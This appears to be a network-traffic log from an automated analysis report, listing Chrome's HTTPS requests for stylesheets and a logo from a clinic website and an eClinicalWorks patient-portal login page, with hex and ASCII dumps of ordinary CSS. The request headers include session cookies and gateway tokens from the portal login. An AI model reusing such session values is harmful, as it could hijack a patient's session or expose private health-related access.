2024-04-24 12:45:05 UTC	16384	IN	Data Raw: 6c 6f 72 3a 23 31 35 35 37 32 34 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 69 6e 66 6f 7b 63 6f 6c 6f 72 3a 23 30 63 35 34 36 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 62 65 65 35 65 62 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 69 6e 66 6f 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 61 63 74 69 6f 6e 3a 66 6f 63 75 73 2c 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 69 6e 66 6f 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 61 63 74 69 6f 6e 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 30 63 35 34 36 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 61 62 64 64 65 35 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 69 6e 66 6f 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 61 63 74 Data Ascii: lor:#155724}.list-group-item-info{color:#0c5460;background-color:#bee5eb}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#0c5460;background-color:#abdde5}.list-group-item-info.list-group-item-act
2024-04-24 12:45:05 UTC	16384	IN	Data Raw: 6e 74 7d 2e 61 6c 69 67 6e 2d 6d 69 64 64 6c 65 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e 2d 62 6f 74 74 6f 6d 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 6f 74 74 6f 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e 2d 74 65 78 74 2d 62 6f 74 74 6f 6d 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 65 78 74 2d 62 6f 74 74 6f 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e 2d 74 65 78 74 2d 74 6f 70 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 65 78 74 2d 74 6f 70 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 67 2d 70 72 69 6d 61 72 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 61 2e 62 67 2d 70 72 Data Ascii: nt}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#007bff!important}a.bg-pr
2024-04-24 12:45:05 UTC	16384	IN	Data Raw: 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 6c 67 2d 62 65 74 77 65 65 6e 7b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 21 69 6d 70 6f 72 74 61 6e 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 6c 67 2d 61 72 6f 75 6e 64 7b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 64 69 73 74 72 69 62 75 74 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 61 72 6f 75 6e 64 21 69 6d 70 6f 72 74 61 Data Ascii: x-pack:center!important;justify-content:center!important}.justify-content-lg-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-lg-around{-ms-flex-pack:distribute!important;justify-content:space-around!importa
2024-04-24 12:45:05 UTC	14409	IN	Data Raw: 64 2d 31 7b 70 61 64 64 69 6e 67 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 74 2d 6d 64 2d 31 2c 2e 70 79 2d 6d 64 2d 31 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 72 2d 6d 64 2d 31 2c 2e 70 78 2d 6d 64 2d 31 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 62 2d 6d 64 2d 31 2c 2e 70 79 2d 6d 64 2d 31 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 6c 2d 6d 64 2d 31 2c 2e 70 78 2d 6d 64 2d 31 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 2d 6d 64 2d 32 7b 70 61 64 64 69 6e 67 3a 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d Data Ascii: d-1{padding:.25rem!important}.pt-md-1,.py-md-1{padding-top:.25rem!important}.pr-md-1,.px-md-1{padding-right:.25rem!important}.pb-md-1,.py-md-1{padding-bottom:.25rem!important}.pl-md-1,.px-md-1{padding-left:.25rem!important}.p-md-2{padding:.5rem!important}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.4	50034	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:04 UTC	788	OUT	GET /wp-content/uploads/2020/07/logo__vpchc-mobile.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:04 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:04 GMT Content-Type: image/svg+xml Content-Length: 1214 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:20:12 GMT Vary: Accept-Encoding ETag: "64f5a14c-4be" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:04 UTC	1214	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 76 67 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 34 38 2e 36 20 34 37 2e 35 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 2e 36 20 34 37 2e 35 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 74 69 74 6c 65 3e 4c 6f 67 6f 3c 2f 74 69 74 6c 65 3e 3c 67 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 20 2e 35 29 22 3e 3c 70 61 74 68 20 64 3d 22 6d 33 33 2e 33 2d 2e 35 63 2d 38 2e 35 20 30 2d 31 35 2e 34 20 36 2e 39 2d 31 35 2e 34 20 31 35 2e 34 73 36 2e 39 20 31 35 2e 34 20 31 35 2e 34 20 31 35 2e 34 20 31 35 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg enable-background="new 0 0 48.6 47.5" viewBox="0 0 48.6 47.5" xmlns="http://www.w3.org/2000/svg"><title>Logo</title><g transform="translate(0 .5)"><path d="m33.3-.5c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.4	50036	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:04 UTC	804	OUT	GET /portal14763/ss/newLogin/jquery.mCustomScrollbar.css HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:05 UTC	454	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:04 GMT Content-Type: text/css Content-Length: 53654 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:04 GMT Accept-Ranges: bytes ETag: W/"53654-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:05 UTC	15930	IN	Data Raw: 2f 2a 0a 3d 3d 20 6d 61 6c 69 68 75 20 6a 71 75 65 72 79 20 63 75 73 74 6f 6d 20 73 63 72 6f 6c 6c 62 61 72 20 70 6c 75 67 69 6e 20 3d 3d 0a 50 6c 75 67 69 6e 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 6d 61 6e 6f 73 2e 6d 61 6c 69 68 75 2e 67 72 2f 6a 71 75 65 72 79 2d 63 75 73 74 6f 6d 2d 63 6f 6e 74 65 6e 74 2d 73 63 72 6f 6c 6c 65 72 0a 2a 2f 0a 0a 0a 0a 2f 2a 0a 43 4f 4e 54 45 4e 54 53 3a 20 0a 09 31 2e 20 42 41 53 49 43 20 53 54 59 4c 45 20 2d 20 50 6c 75 67 69 6e 27 73 20 62 61 73 69 63 2f 65 73 73 65 6e 74 69 61 6c 20 43 53 53 20 70 72 6f 70 65 72 74 69 65 73 20 28 6e 6f 72 6d 61 6c 6c 79 2c 20 73 68 6f 75 6c 64 20 6e 6f 74 20 62 65 20 65 64 69 74 65 64 29 2e 20 0a 09 32 2e 20 56 45 52 54 49 43 41 4c 20 53 43 52 4f 4c 4c 42 41 52 20 2d 20 50 6f 73 69 Data Ascii: /== malihu jquery custom scrollbar plugin ==Plugin URI: http://manos.malihu.gr/jquery-custom-content-scroller//*CONTENTS: 1. BASIC STYLE - Plugin's basic/essential CSS properties (normally, should not be edited). 2. VERTICAL SCROLLBAR - Posi
2024-04-24 12:45:05 UTC	16384	IN	Data Raw: 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 37 35 29 3b 20 7d 0a 0a 09 2e 6d 43 53 2d 64 61 72 6b 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 3a 68 6f 76 65 72 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 5f 62 61 72 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 38 35 29 3b 20 7d 0a 0a 09 2e 6d 43 53 2d 64 61 72 6b 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 3a 61 63 74 69 76 65 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 5f 62 61 72 2c 0a 09 2e 6d 43 53 2d 64 61 72 6b 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 5f 6f 6e 44 72 61 Data Ascii: rgba(0,0,0,0.75); }.mCS-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{ background-color: rgba(0,0,0,0.85); }.mCS-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDra
2024-04-24 12:45:05 UTC	16384	IN	Data Raw: 2d 73 74 6f 70 28 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 35 29 29 2c 20 63 6f 6c 6f 72 2d 73 74 6f 70 28 31 30 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 29 29 29 3b 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 6c 65 66 74 2c 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 35 29 20 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 29 20 31 30 30 25 29 3b 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 2d 6f 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 6c 65 66 74 2c 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 35 29 20 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 Data Ascii: -stop(0%,rgba(255,255,255,0.5)), color-stop(100%,rgba(255,255,255,0)));background-image: -webkit-linear-gradient(left, rgba(255,255,255,0.5) 0%,rgba(255,255,255,0) 100%);background-image: -o-linear-gradient(left, rgba(255,255,255,0.5) 0%,rgba(255,25
2024-04-24 12:45:05 UTC	4956	IN	Data Raw: 43 53 42 5f 64 72 61 67 67 65 72 52 61 69 6c 2c 20 0a 09 2e 6d 43 53 2d 69 6e 73 65 74 2d 33 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 5f 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 52 61 69 6c 2c 20 0a 09 2e 6d 43 53 2d 69 6e 73 65 74 2d 33 2d 64 61 72 6b 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 5f 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 6d 43 53 42 5f 64 72 61 67 67 65 72 52 61 69 6c 7b 0a 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 09 6d 61 72 67 69 6e 3a 20 32 70 78 20 30 3b 0a 09 7d 0a 09 0a 09 2e 6d 43 53 2d 69 6e 73 65 74 2e 6d 43 53 42 5f 73 63 72 6f 6c 6c 54 6f 6f 6c 73 20 2e 6d 43 53 42 5f 62 75 74 74 6f 6e 55 70 2c 20 0a 09 2e 6d 43 53 2d 69 6e 73 65 Data Ascii: CSB_draggerRail, .mCS-inset-3.mCSB_scrollTools_horizontal .mCSB_draggerRail, .mCS-inset-3-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail{width: 100%;height: 12px;margin: 2px 0;}.mCS-inset.mCSB_scrollTools .mCSB_buttonUp, .mCS-inse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.4	50035	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:04 UTC	787	OUT	GET /portal14763/ss/newLogin/layout.css HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:05 UTC	454	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:04 GMT Content-Type: text/css Content-Length: 30296 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:04 GMT Accept-Ranges: bytes ETag: W/"30296-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:05 UTC	15930	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 68 65 61 6c 6f 77 27 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 6e 65 77 4c 6f 67 69 6e 2f 68 65 61 6c 6f 77 2e 65 6f 74 3f 71 64 39 61 74 70 27 29 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 6e 65 77 4c 6f 67 69 6e 2f 68 65 61 6c 6f 77 2e 65 6f 74 3f 71 64 39 61 74 70 23 69 65 66 69 78 27 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 0a 20 20 20 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 6e 65 77 4c 6f 67 69 6e 2f 68 65 61 6c 6f 77 2e 74 74 66 3f 71 64 39 61 74 70 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 0a 20 20 20 20 75 72 6c 28 27 2e 2e 2f 66 6f Data Ascii: @font-face { font-family: 'healow'; src: url('../fonts/newLogin/healow.eot?qd9atp'); src: url('../fonts/newLogin/healow.eot?qd9atp#iefix') format('embedded-opentype'), url('../fonts/newLogin/healow.ttf?qd9atp') format('truetype'), url('../fo
2024-04-24 12:45:05 UTC	14366	IN	Data Raw: 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 7d 0a 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 72 61 64 69 6f 2d 77 72 61 70 70 65 72 20 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 3a 6e 6f 74 28 3a 63 68 65 63 6b 65 64 29 2b 6c 61 62 65 6c 3a 62 65 66 6f 72 65 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 38 30 39 31 41 33 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 27 27 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 39 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 39 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 30 30 25 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a Data Ascii: { margin-left: 0;}.h-wrapper .radio-wrapper [type="radio"]:not(:checked)+label:before { border: 1px solid #8091A3; content: ''; position: absolute; left: 0; top: 0; width: 19px; height: 19px; border-radius: 100%; background: #fff;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.4	50037	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:04 UTC	787	OUT	GET /portal14763/ss/newLogin/custom.css HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:05 UTC	454	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:04 GMT Content-Type: text/css Content-Length: 58136 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:04 GMT Accept-Ranges: bytes ETag: W/"58136-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:05 UTC	15930	IN	Data Raw: 2f 2a 20 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 50 6f 70 70 69 6e 73 3a 69 74 61 6c 2c 77 67 68 74 40 30 2c 31 30 30 3b 30 2c 32 30 30 3b 30 2c 33 30 30 3b 30 2c 34 30 30 3b 30 2c 35 30 30 3b 30 2c 36 30 30 3b 30 2c 37 30 30 3b 30 2c 38 30 30 3b 30 2c 39 30 30 3b 31 2c 31 30 30 3b 31 2c 32 30 30 3b 31 2c 33 30 30 3b 31 2c 34 30 30 3b 31 2c 35 30 30 3b 31 2c 36 30 30 3b 31 2c 37 30 30 3b 31 2c 38 30 30 3b 31 2c 39 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 27 29 3b 20 2a 2f 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 6f 70 70 69 Data Ascii: /* @import url('https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap'); // latin-ext */@font-face { font-family: 'Poppi
2024-04-24 12:45:05 UTC	16384	IN	Data Raw: 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 73 65 61 72 63 68 69 6e 70 75 74 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 33 70 78 20 31 35 70 78 20 31 32 70 78 20 31 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 36 70 78 3b 0a 20 20 20 20 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 38 30 39 31 41 33 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 44 30 36 33 30 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 35 30 70 78 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 33 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b Data Ascii: { border: 0;}.h-wrapper .searchinput .input-group .form-control { padding: 13px 15px 12px 10px; font-size: 18px; line-height: 26px; border:1px solid #8091A3; color: #0D0630; height: 50px; border-radius: 33px !important;
2024-04-24 12:45:05 UTC	16384	IN	Data Raw: 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 20 2a 2f 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 73 65 63 74 69 6f 6e 68 67 74 20 7b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 34 32 70 78 29 3b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 2f 2a 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 73 63 72 6f 6c 6c 3b 0a 20 20 20 20 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 73 63 72 6f 6c 6c 62 61 72 2d 77 69 64 74 68 3a 20 6e 6f 6e 65 3b 20 2a 2f 0a 7d 0a 0a 2f 2a 20 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 73 65 63 74 69 6f 6e 68 67 74 3a 3a 2d 77 65 62 6b 69 74 2d 73 63 72 6f 6c 6c 62 61 72 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 Data Ascii: position: relative;} /.h-wrapper .sectionhgt { height: calc(100vh - 142px); position: relative; / overflow-y: scroll; -ms-overflow-style: none; scrollbar-width: none; /}/ .h-wrapper .sectionhgt::-webkit-scrollbar { displa
2024-04-24 12:45:05 UTC	9438	IN	Data Raw: 74 3a 20 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 70 78 3b 0a 7d 0a 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 6c 6f 63 61 74 69 6f 6e 2d 70 6f 70 75 70 20 2e 70 72 6f 76 69 64 65 72 6c 69 73 74 20 2e 73 6c 69 64 65 72 62 6f 78 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 73 6c 69 64 65 72 77 72 61 70 70 65 72 20 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 2d 6e 65 78 74 2c 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 73 6c 69 64 65 72 77 72 61 70 70 65 72 20 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 2d 70 72 65 76 20 7b 0a 20 20 20 20 62 6f 74 74 Data Ascii: t: space-between; margin-left: 10px;}.h-wrapper .location-popup .providerlist .sliderbox:first-child { margin-left: 5px !important;}.h-wrapper .sliderwrapper .carousel-control-next,.h-wrapper .sliderwrapper .carousel-control-prev { bott

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.4	50038	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
